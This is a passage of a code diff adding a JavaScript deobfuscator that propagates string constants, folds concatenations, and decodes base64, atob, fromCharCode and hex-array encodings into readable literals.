+ for (const decl of node.declarations) {
199
+ if (decl.id?.type !== 'Identifier') continue;
200
+ if (!decl.init) continue;
201
+ if (decl.init.type === 'Literal' && typeof decl.init.value === 'string') {
202
+ constMap.set(decl.id.name, {
203
+ value: decl.init.value,
204
+ declStart: decl.init.start,
205
+ declEnd: decl.init.end
206
+ });
207
+ }
208
+ }
209
+ },
210
+ AssignmentExpression(node) {
211
+ if (node.left?.type === 'Identifier') {
212
+ reassigned.add(node.left.name);
213
+ }
214
+ }
215
+ });
216
+
217
+ // Remove reassigned names from constMap (not safe)
218
+ for (const name of reassigned) {
219
+ constMap.delete(name);
220
+ }
221
+
222
+ if (constMap.size === 0) {
223
+ return { code: sourceCode, transforms };
224
+ }
225
+
226
+ // Find all Identifier references to propagate (excluding declarations and property names)
227
+ const replacements = [];
228
+ walk.simple(ast, {
229
+ Identifier(node) {
230
+ if (!constMap.has(node.name)) return;
231
+ const info = constMap.get(node.name);
232
+ // Skip the declaration site itself
233
+ if (node.start === info.declStart || (node.start >= info.declStart && node.end <= info.declEnd)) return;
234
+ replacements.push({
235
+ start: node.start,
236
+ end: node.end,
237
+ value: quoteString(info.value),
238
+ type: 'const_propagation',
239
+ before: sourceCode.slice(node.start, node.end)
240
+ });
241
+ }
242
+ });
243
+
244
+ // Filter: skip property access identifiers (obj.prop — prop is not a variable ref)
245
+ // We detect this by checking if the identifier is a property of a MemberExpression
246
+ const propPositions = new Set();
247
+ walk.simple(ast, {
248
+ MemberExpression(node) {
249
+ if (!node.computed && node.property?.type === 'Identifier') {
250
+ propPositions.add(node.property.start);
251
+ }
252
+ },
253
+ VariableDeclarator(node) {
254
+ // Skip the declaration name itself
255
+ if (node.id?.type === 'Identifier') {
256
+ propPositions.add(node.id.start);
257
+ }
258
+ }
259
+ });
260
+
261
+ const validReplacements = replacements.filter(r => !propPositions.has(r.start));
262
+
263
+ if (validReplacements.length === 0) {
264
+ return { code: sourceCode, transforms };
265
+ }
266
+
267
+ // Apply replacements from end to start
268
+ validReplacements.sort((a, b) => b.start - a.start);
269
+ let code = sourceCode;
270
+ for (const r of validReplacements) {
271
+ code = code.slice(0, r.start) + r.value + code.slice(r.end);
272
+ transforms.push({
273
+ type: r.type,
274
+ start: r.start,
275
+ end: r.end,
276
+ before: r.before,
277
+ after: r.value
278
+ });
279
+ }
280
+
281
+ // Now re-run concat folding on the propagated code
282
+ const phase3 = foldConcatsOnly(code);
283
+ if (phase3.transforms.length > 0) {
284
+ code = phase3.code;
285
+ transforms.push(...phase3.transforms);
286
+ }
287
+
288
+ transforms.reverse();
289
+ return { code, transforms };
290
+ }
291
+
292
+ /**
293
+ * Run only string concat folding on code (phase 3 after const propagation).
294
+ */
295
+ function foldConcatsOnly(sourceCode) {
296
+ const transforms = [];
297
+ let ast;
298
+ try {
299
+ ast = acorn.parse(sourceCode, {
300
+ ecmaVersion: 2024,
301
+ sourceType: 'module',
302
+ allowHashBang: true,
303
+ ranges: true
304
+ });
305
+ } catch {
306
+ return { code: sourceCode, transforms };
307
+ }
308
+
309
+ const replacements = [];
310
+ walk.simple(ast, {
311
+ BinaryExpression(node) {
312
+ if (node.operator !== '+') return;
313
+ const folded = tryFoldConcat(node);
314
+ if (folded === null) return;
315
+ const before = sourceCode.slice(node.start, node.end);
316
+ const after = quoteString(folded);
317
+ replacements.push({ start: node.start, end: node.end, value: after, type: 'string_concat', before });
318
+ }
319
+ });
320
+
321
+ // De-duplicate overlapping
322
+ replacements.sort((a, b) => a.start - b.start || b.end - a.end);
323
+ const filtered = [];
324
+ let lastEnd = -1;
325
+ for (const r of replacements) {
326
+ if (r.start < lastEnd) continue;
327
+ filtered.push(r);
328
+ lastEnd = r.end;
329
+ }
330
+
331
+ filtered.sort((a, b) => b.start - a.start);
332
+ let code = sourceCode;
333
+ for (const r of filtered) {
334
+ code = code.slice(0, r.start) + r.value + code.slice(r.end);
335
+ transforms.push({ type: r.type, start: r.start, end: r.end, before: r.before, after: r.value });
336
+ }
337
+
338
+ return { code, transforms };
339
+ }
340
+
341
+ // ============================================================
342
+ // HELPERS
343
+ // ============================================================
344
+
345
+ /**
346
+ * Recursively fold string concat BinaryExpression.
347
+ * Returns the concatenated string, or null if any part is not a string literal.
348
+ */
349
+ function tryFoldConcat(node) {
350
+ if (node.type === 'Literal' && typeof node.value === 'string') {
351
+ return node.value;
352
+ }
353
+ if (node.type === 'BinaryExpression' && node.operator === '+') {
354
+ const left = tryFoldConcat(node.left);
355
+ if (left === null) return null;
356
+ const right = tryFoldConcat(node.right);
357
+ if (right === null) return null;
358
+ return left + right;
359
+ }
360
+ return null;
361
+ }
362
+
363
+ /**
364
+ * Check if node is String.fromCharCode(...)
365
+ */
366
+ function isStringFromCharCode(node) {
367
+ if (node.type !== 'CallExpression') return false;
368
+ const c = node.callee;
369
+ if (c.type !== 'MemberExpression') return false;
370
+ // String.fromCharCode
371
+ if (c.object?.type === 'Identifier' && c.object.name === 'String' &&
372
+ c.property?.type === 'Identifier' && c.property.name === 'fromCharCode') {
373
+ return true;
374
+ }
375
+ return false;
376
+ }
377
+
378
+ /**
379
+ * Extract numeric arguments from a call (handles direct numbers and spread of array).
380
+ * Returns array of numbers, or null if any argument is non-numeric.
381
+ */
382
+ function extractNumericArgs(node) {
383
+ const nums = [];
384
+ for (const arg of node.arguments) {
385
+ if (arg.type === 'SpreadElement' && arg.argument?.type === 'ArrayExpression') {
386
+ for (const el of arg.argument.elements) {
387
+ if (el?.type === 'Literal' && typeof el.value === 'number') {
388
+ nums.push(el.value);
389
+ } else {
390
+ return null; // non-numeric — abort
391
+ }
392
+ }
393
+ } else if (arg.type === 'Literal' && typeof arg.value === 'number') {
394
+ nums.push(arg.value);
395
+ } else {
396
+ return null; // non-numeric argument (variable, expression) — abort
397
+ }
398
+ }
399
+ return nums.length > 0 ? nums : null;
400
+ }
401
+
402
+ /**
403
+ * Check if node is Buffer.from('...', 'base64').toString()
404
+ */
405
+ function isBufferBase64ToString(node) {
406
+ if (node.type !== 'CallExpression') return false;
407
+ const callee = node.callee;
408
+ // .toString() call
409
+ if (callee.type !== 'MemberExpression') return false;
410
+ if (callee.property?.type !== 'Identifier' || callee.property.name !== 'toString') return false;
411
+ // The object is Buffer.from(str, 'base64')
412
+ const inner = callee.object;
413
+ if (inner?.type !== 'CallExpression') return false;
414
+ const innerCallee = inner.callee;
415
+ if (innerCallee?.type !== 'MemberExpression') return false;
416
+ if (innerCallee.object?.type !== 'Identifier' || innerCallee.object.name !== 'Buffer') return false;
417
+ if (innerCallee.property?.type !== 'Identifier' || innerCallee.property.name !== 'from') return false;
418
+ // Args: (string, 'base64')
419
+ if (inner.arguments.length < 2) return false;
420
+ if (inner.arguments[1]?.type !== 'Literal' || inner.arguments[1].value !== 'base64') return false;
421
+ if (inner.arguments[0]?.type !== 'Literal' || typeof inner.arguments[0].value !== 'string') return false;
422
+ return true;
423
+ }
424
+
425
+ /**
426
+ * Extract the base64 string argument from Buffer.from(str, 'base64').toString()
427
+ */
428
+ function extractBufferBase64Arg(node) {
429
+ const inner = node.callee.object;
430
+ return inner.arguments[0].value;
431
+ }
432
+
433
+ /**
434
+ * Check if node is atob('...')
435
+ */
436
+ function isAtobCall(node) {
437
+ if (node.type !== 'CallExpression') return false;
438
+ if (node.callee?.type !== 'Identifier' || node.callee.name !== 'atob') return false;
439
+ if (node.arguments.length !== 1) return false;
440
+ if (node.arguments[0]?.type !== 'Literal' || typeof node.arguments[0].value !== 'string') return false;
441
+ return true;
442
+ }
443
+
444
+ /**
445
+ * Try to resolve [0x63, ...].map(c => String.fromCharCode(c)).join('')
446
+ * Returns a replacement object or null.
447
+ */
448
+ function tryResolveHexArrayMap(node, source) {
449
+ // Pattern: <expr>.join('') where <expr> is <array>.map(<fn>)
450
+ // node is the .join('') call
451
+ if (node.type !== 'CallExpression') return null;
452
+ const callee = node.callee;
453
+ if (callee?.type !== 'MemberExpression') return null;
454
+ if (callee.property?.type !== 'Identifier' || callee.property.name !== 'join') return null;
455
+ // Verify .join('') or .join("")
456
+ if (node.arguments.length !== 1) return null;
457
+ if (node.arguments[0]?.type !== 'Literal' || node.arguments[0].value !== '') return null;
458
+
459
+ // The object of .join should be a .map(...) call
460
+ const mapCall = callee.object;
461
+ if (mapCall?.type !== 'CallExpression') return null;
462
+ if (mapCall.callee?.type !== 'MemberExpression') return null;
463
+ if (mapCall.callee.property?.type !== 'Identifier' || mapCall.callee.property.name !== 'map') return null;
464
+
465
+ // The map callback should reference String.fromCharCode
466
+ if (mapCall.arguments.length < 1) return null;
467
+ const mapFn = mapCall.arguments[0];
468
+ if (!containsFromCharCode(mapFn)) return null;
469
+
470
+ // The object of .map should be an ArrayExpression of numbers
471
+ const arr = mapCall.callee.object;
472
+ if (arr?.type !== 'ArrayExpression') return null;
473
+ const nums = [];
474
+ for (const el of arr.elements) {
475
+ if (el?.type === 'Literal' && typeof el.value === 'number') {
476
+ nums.push(el.value);
477
+ } else {
478
+ return null; // non-numeric element — abort
479
+ }
480
+ }
481
+ if (nums.length === 0) return null;
482
+
483
+ try {
484
+ const decoded = String.fromCharCode(...nums);
485
+ const before = source.slice(node.start, node.end);
486
+ return {
487
+ start: node.start,
488
+ end: node.end,
489
+ value: quoteString(decoded),
490
+ type: 'hex_array',
491
+ before
492
+ };
493
+ } catch {
494
+ return null;
495
+ }
496
+ }
497
+
498
+ /**
499
+ * Check if an AST node (a function/arrow function) contains a reference to String.fromCharCode.
500
+ */
501
+ function containsFromCharCode(node) {
502
+ if (!node || typeof node !== 'object') return false;
503
+
504
+ // Direct check on this node
505
+ if (node.type === 'MemberExpression' &&
506
+ node.object?.type === 'Identifier' && node.object.name === 'String' &&
507
+ node.property?.type === 'Identifier' && node.property.name === 'fromCharCode') {
508
+ return true;
509
+ }
510
+
511
+ // Recurse into child nodes
512
+ for (const key of Object.keys(node)) {
513
+ if (key === 'type' || key === 'start' || key === 'end' || key === 'range') continue;
514
+ const child = node[key];
515
+ if (Array.isArray(child)) {
516
+ for (const c of child) {
517
+ if (c && typeof c === 'object' && containsFromCharCode(c)) return true;
518
+ }
519
+ } else if (child && typeof child === 'object' && child.type) {
520
+ if (containsFromCharCode(child)) return true;
521
+ }
522
+ }
523
+ return false;
524
+ }
525
+
526
+ /**
527
+ * Quote a string value as a JS single-quoted string literal.
528
+ */
529
+ function quoteString(str) {
530
+ const escaped = str
531
+ .replace(/\\/g, '\\\\')
532
+ .replace(/'/g, "\\'")
533
+ .replace(/\n/g, '\\n')
534
+ .replace(/\r/g, '\\r')
535
+ .replace(/\t/g, '\\t');
536
+ return `'${escaped}'`;
537
+ }
538
+
539
+ /**
540
+ * Check if a decoded string is "printable" (no control chars except whitespace).
541
+ * Prevents replacing base64 that decodes to binary garbage.
542
+ */
543
+ function isPrintable(str) {
544
+ // Allow printable ASCII + common unicode + whitespace
545
+ // Reject if more than 20% of chars are control characters
546
+ let controlCount = 0;
547
+ for (let i = 0; i < str.length; i++) {
548
+ const code = str.charCodeAt(i);
549
+ if (code < 32 && code !== 9 && code !== 10 && code !== 13) {
550
+ controlCount++;
551
+ }
552
+ }
553
+ if (str.length === 0) return false;
554
+ return (controlCount / str.length) < 0.2;
555
+ }
556
+
557
+ module.exports = { deobfuscate };